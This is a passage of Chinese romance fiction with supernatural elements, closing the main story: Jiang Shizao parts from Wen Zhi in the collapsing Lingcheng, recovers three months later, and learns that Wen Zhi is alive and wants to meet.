那个戴着黄金面具的男人，那双面具下的眼睛，与眼前的温执重合。 听着他的指认，温执的神情却异常的复杂。 然后江时早听见这个人说： “早早，那并不是我们唯一一次见面。” 温执承认了自己是江时早在副本中见到的001。 屏障外，读出温执口型的何显镐也明显怔愣了一下。 何显镐看着对话的两人，难道……温执已经收回了那片灵魂碎片？ 两个温执已经融合了？ 但是…… 有眼睛都能看出，此刻站在江时早面前的人，更像是铃城里的“温执”。不仅是对方身后的黑影，还是着装，都是那个怪物温执的模样。 不过此刻那人脸上的神情确实像何显镐接触的那人。只是温执这回收灵魂的方式…… 怎么看起来更像是把自己融入怪物的体内了。 屏障中。 温执对江时早说： “铃城南岸，山顶花园。记得吗，那时我们坐在长椅上，我同你说……假设铃城边界外有更好的世界，我希望你可以见到它。” “001”的话让江时早的瞳孔瞬间放大了一瞬。 江时早当然记得这些话。记得铃城南岸的山顶花园。记得那天发生的所有事。因为那一天，他都与温浅川在一起。 那是……和温浅川有关的回忆。 江时早一直都记得。 “不对……你到底是……谁。” 江时早忽然就拉住了温执的手。也不管对方到底是什么。就是想要抓住这个人。 抓住这个人…… “早早，别哭。”温执心疼的抬起手。 看着江时早眼中又汇聚起的泪水，他抬起手，帮对方拭去了那已经顺着脸颊滑下的水珠。 然后他开口道： “早早，跟何显镐离开。” 温执说出这句话时，江时早呆住了，他怔怔地看着这个近在咫尺的人。或许那一瞬间，江时早清晰地意识到了，眼前的温执并不是那个和他一起生活了半年的温执。 因为那个温执会叫江时早回家等他，会喊江时早一起回家。 眼前的温执却希望他和何显镐离开。 “到底发生了什么。”终于，江时早的情绪爆发了。 眼泪再也止不住的往下掉。不管眼前的人怎么低声安抚，江时早都很难过，越来越难过。 明明温执就在他眼前，江时早却感觉“温执”真的消失了。 最后失去意识前，江时早看见的就是温执离开的背影。 那道隔绝外界的屏障不知何时已经消失了。江时早重新听见了何显镐的声音。 昏迷前，他感觉自己的手腕被人抓住了。 而他的前方只剩下一道模糊的背影。 那背影与支离破碎的铃城融为了一体。 耳边是何显镐沉重的声音： “江时早，快醒过来。” 这句话，江时早刚刚也听见过，在温执转身前，那个人也低头同他说： “早早，该醒了。” 明明还是那道温柔的声音，好像在哄他一样，说完之后却又头也不回的转身离开了。 最后江时早失去意识前，他想： 走就走吧。 真是太讨厌了。 第44章（正文完） 第44章 第四十四章（正文完） 约会…… 三个月后, 江城。 大学校门外，江一愿拉着行李，一边走向路边, 一边给江时早打电话, “哥, 你到家了吗？” “到了。” 江时早刚回到公寓，接通妹妹的电话前，他才从楼上下来。 “哥你等等我们哈，显镐哥已经接到我了。我们马上回来！” 江一愿找到了站在马路边的何显镐，何显镐人高，站在车边十分显眼。 见到江一愿，何显镐也朝妹妹挥了挥手。 “好，等你们。”江时早声音温和。挂断电话后, 他的手指有意无意地捏着手中的信封。 就这样过了好一会儿, 江时早才有了动作，他走进自己的卧室，关上门后，他的目光这才再次落在了手中的信封上。 这不是他的信。 信封上收件人的那一栏写着温执的名字。 “我到底在做什么……” 江时早蹲下身时，羞愧地闭了闭眼。 他竟然偷拿了温执的信。 是的，这封信原本被塞在了温执家屋门下的缝隙中。 但江时早刚刚上楼看见它时, 鬼使神差的，他将这封塞在门缝中的信抽了出来。然后像个贼一样的回到了自己的公寓。 事实上他也真的偷拿了温执的信。 其实早在两个多月前, 江时早就已经打听到了楼上的住户是谁。他们这是座老小区，大多数人做了快一辈子的左邻右舍了，想要打听哪户人家并不难。 虽然温执几乎不与小区里的任何人来往，但是江时早还是确认了温执就住在自己的楼上。 当初在铃城时，在江时早做过的那个梦里……梦里的温执说过, 他其实一直就住在自己楼上…… 结果温执真的住在自己的楼上。 而且温执搬来他们小区已经有十年了…… 但是醒来后的江时早再也没有见到过温执了。 此时此刻，这个蹲在自己卧室里的人一动不动地注视着自己偷来的信。 其实这几个月里，江时早偶尔会不小心的……在回自己家时路过楼上，比如今天……但他一次都没有碰见过那位本应该住在他楼上的邻居。 楼上那间旧公寓已经很久没有人出入了。 有一次江时早从楼上下来时，还被周末回家的江一愿抓了个正着。 江一愿奇怪地看着从楼上回来的哥哥，迟疑了许久，还是关心尽责地询问：“哥，你……这种状况持续多久了？就是……不记得自己住几楼了吗？还是……” 江一愿确信，她哥以前一定没这毛病。她哥才从车祸中醒来，江一愿时刻注意着自家哥哥身上有没有出现什么后遗症。 有病还是得赶紧治。 江时早当时红着脸打断了妹妹，然后拉着江一愿就火速回了他们自己家。 然后就到了今天，温执的屋门下出现了一封信，现在这封信到了江时早的手中。 …… 何显镐昨天刚在RIDT总部述完职，调查组给他放了两天假，今天刚回到江城，顺路先来接了妹妹。 自江时早从医院醒来，时间已经过去了三个月。 何显镐和江一愿准备今晚在家做一顿丰盛的晚餐，庆祝江时早找到新工作！ 自从生活回归正轨后，江时早辞去了之前的工作，选择了在一家书店上班。江一愿刚听到哥哥的打算时还有些诧异，但那一下的诧异之后，身为妹妹的她当然是给予了亲哥百分百的支持。 只是有一件事，江一愿一直不太明白，“显镐哥，那个，温执为什么不来看哥哥了？” 明明哥刚出车祸时，温执表现得比她还着急，结果在她哥醒来后，这个人又像当初出现时一样，突然又消失了。 当初江时早刚醒来时，何显镐就找机会把江一愿拉到了一边，叮嘱她暂时不要同她哥提起温执。 “为什么啊？”江一愿当时也这么问了。 “温执的事，我会转诉你哥。但之后尽量别在时早面前提到温执……”何显镐当时是这么跟妹妹说的。主要是担心提起温执会刺激到江时早。 尤其对方还下落不明的情况下。 那之后，在江时早的状况彻底稳定后，何显镐在江时早出院后的某一天，同对方说起了温执。 见过江时早对铃城中那个温执的态度后，何显镐没有想过隐瞒他所知道的那些事。 不管怎么样，江时早有自己的选择权，也有权知道发生过什么。 所以何显镐用了一个下午的时间，同江时早汇报了温执是如何在医院中找上了他，对方又是如何使江时早在车祸中幸存下来，以及……那些试图将江时早困在铃城中的温执，都是对方的灵魂碎片这件事。 当然，在江时早醒来后，何显镐立刻就将温执与铃城的情况上报调查组了。 当时在铃城中，江时早最后昏迷过去时，何显镐怀疑就是温执做的手脚。 何显镐看得很清楚，温执最后的状态很不稳定。 时早昏迷后，那人体内的灵魂碎片就开始苏醒，不同的灵魂在争夺身体的控制权，最后那疯子的身后还出现了一条黑色的河流，那条河流一直延伸入铃城地下，仿佛通向无止尽的深渊。 何显镐的意识脱离铃城时，最后看见的就是温执整个人沉入了那条黑色河流中。 ……醒来后的何显镐在确认江时早没事后，立刻就将这件事上报了。 其实也存有过一点侥幸心理，希望调查组能想办法捞一下温执。 虽然温执是001，但是RIDT调查组存在了这么多年，各方面的力量既完善又强大。 何显镐当时见到队长宋沉岳后，立刻就将温执可能失控这件事告诉了这位总指挥。 温执可能失控这件事，何显镐后来也告诉了江时早。 那人自己说的，他分裂出去的是自己失控的部分，现在对方将那些失控的灵魂重新融合了，如果……如果温执还活着，说不定也疯了。 当然何显镐后来知道了温执一定还活着。001并没有消失，也没有被谁顶替。确认这件事对调查组来说并不难。 而当时在听完何显镐的叙述后，江时早沉默了很久，才问了他一个问题： “温执是为了我才进入铃城……回收那些灵魂？” 江时早似乎有些不敢相信。 何显镐叹了口气，告诉他：“时早，那人暗恋你很久了。” 听到温执暗恋他，江时早当时的表情比知道温执是为了他进入铃城时还要震惊。 “他暗恋我……？” …… 车子行驶在开往超市的路上，在一个红灯路口停下时，何显镐看向妹妹，“你哥最近一切正常吗？” “正常啊。”江一愿说着又想了想，“哦，除了上次我跟你说的那件事，我哥老往楼上跑……其它没什么。” 何显镐的手指敲了敲方向盘，江一愿第一次同他说起这件事时，何显镐就知道江时早为什么会去楼上了。 这么多年，调查组一直在追查的001，过去竟然一直就住在那栋老旧小区里，住在时早的楼上。 想到这里，何显镐心里又唾弃了一声。真是变态。 “所以你还没有回答我的问题啊显镐哥，你们和温执到底有什么秘密啊？” “……我和他没秘密。”何显镐呛了一下，委婉道，“他和你哥有秘密吧。” 何显镐这次去总部述职时见到了一个人，这也是为什么他一回江城就找了个理由跟江时早见面。 一会儿见面得和时早谈谈这件事…… “哇，真的吗？”江一愿瞪大了眼，之前在医院她就感觉温执对她哥感情很深，果然，“所以发生了什么？他去哪了？我哥最近好像也没有和他联系……” 得到何显镐的肯定回复，江一愿思索了半秒，旋即恍然大悟，“对，难怪我感觉哥有些时候就跟失恋了一样，原来如此。”之前她还以为是车祸后遗症之一呢。 “……”何显镐干咳了一声。他只是随口应了一句有秘密，妹妹怎么就直接判断那两人恋爱了。 也好，何显镐说：“那人最近就会回江城，一会儿你问问你哥……愿不愿意见到这个人。” “哇。”闻言江一愿又感叹了一声，“怎么听着好像是我哥甩了对方，温执现在是想挽回吗？” 何显镐：“……”妹说是什么就是什么吧。 前方的红灯变成绿灯后，何显镐重新启动了车子。说实话，这一次去RIDT总部述职，在那里见到温执时，何显镐既惊讶又好像没有特别意外。 这家伙果然还活着。看起来还活得好好的。还选择加入了调查组。 唯一可能让何显镐有些郁闷的是，温执马上就要调到江城的调查组了。 现在对方不仅是RIDT总部的首席研究员，和总指挥宋沉岳平级，还成了江城调查中心的最高级长官，换句话说，这人成了他的直属长官了。 何显镐的事业心很郁闷。 但是也能理解调查组这样的安排。 听说在那家伙消失于黑暗铃河的几个月里，这人将那些在副本中失败的人的灵魂找回来了不少。 还有那些游荡于铃城或未知空间里的人类灵魂。 因为温执，那些原本陷入了昏迷的人开始陆续转醒。 何显镐还打听到一件事，温执的父母竟然都曾是RIDT科学院的人。 …… 江一愿回到家后，没有在客厅看见她哥的影子，于是喊了一声：“哥，你在哪，温执问你愿不愿意跟他见面约会——” 正在换鞋的何显镐一踉跄，差点摔倒。 几乎同时，江时早的房间里也发出了一些噪音。 卧室门打开时，江时早一脸惊慌地看着门外的妹妹……还有何显镐。 青年呼吸不稳地问道：“什么？谁要跟我约会？” 江一愿也被她哥的反应惊了一下，她看了看何显镐，然后对她哥说：“温执？” “不过哥，你刚刚在房间里做什么……？” 江一愿太了解她哥了，看她哥的反应，她哥绝对也很在意温执。但她哥现在的表情……怎么看怎么都有些做贼心虚的感觉？ 江时早当然很惊慌！就在他万分纠结、挣扎着、想着能不能通过那封信，看看有没有温执最近的消息时……然后就听见了妹妹的声音，还听见了信件主人的名字—— 江时早吓得以为自己已经被抓包了。 大脑后知后觉才处理好信息，妹妹说的好像是见面约会之类的话？ 但这话信息量太大，江时早还是懵了。 最后他看向了何显镐。 江一愿也看向了何显镐。 何显镐叹着气放下手里的菜，说：“温执回来了。时早，你愿意跟他约……咳，见一面吗？” 受江一愿的影响，何显镐差点也自然而然的说出了“约会”两个字。还好最后咬住了舌头。 不过这话从何显镐口中说出，和从江一愿口中说出完全是两个效果。江时早大脑对它的处理方式瞬间就流畅了起来。 首先这件事会是真的。 更重要的是…… 何显镐都说温执回来了。 也就是说温执没事——！ 最后才是…… 久违的，江时早忽然又有些不好意思了。 他看了看妹妹，又看了看何显镐，最后问道：“他有没有说几点？” “……”何显镐沉默了一下。拿出手机看了眼温执之前发来的短信。然后顺手回了一条。 江一愿哇哦了一声，“哥，你看起来好急。”简直想今晚就和对方约会吗？ 江时早尴尬的笑了笑，把信又往自己的身后藏了藏，“有吗？” 完蛋了，难怪之前几个月都没有任何信件的温执忽然收到了信，原来是屋主回来了。 糟糕，他得赶紧把信放回去！！